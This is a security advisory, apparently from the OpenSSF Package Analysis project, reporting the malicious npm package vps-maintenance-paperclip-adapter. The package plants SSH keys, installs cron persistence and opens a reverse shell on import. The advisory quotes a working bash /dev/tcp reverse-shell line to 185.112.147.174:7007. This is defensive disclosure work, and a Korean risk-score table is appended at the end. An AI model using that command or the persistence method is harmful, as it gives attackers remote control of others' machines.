Malicious code in vps-maintenance-paperclip-adapter (npm)
-= Per source details. Do not edit below this line.=-
On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to bash -i >& /dev/tcp/185.112.147.174/7007 0>&1. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (vps-new-manager) than the actual package name (vps-maintenance-paperclip-adapter), a cover-story consistent with adapter-ecosystem impersonation.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious.
It is considered malicious because:
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준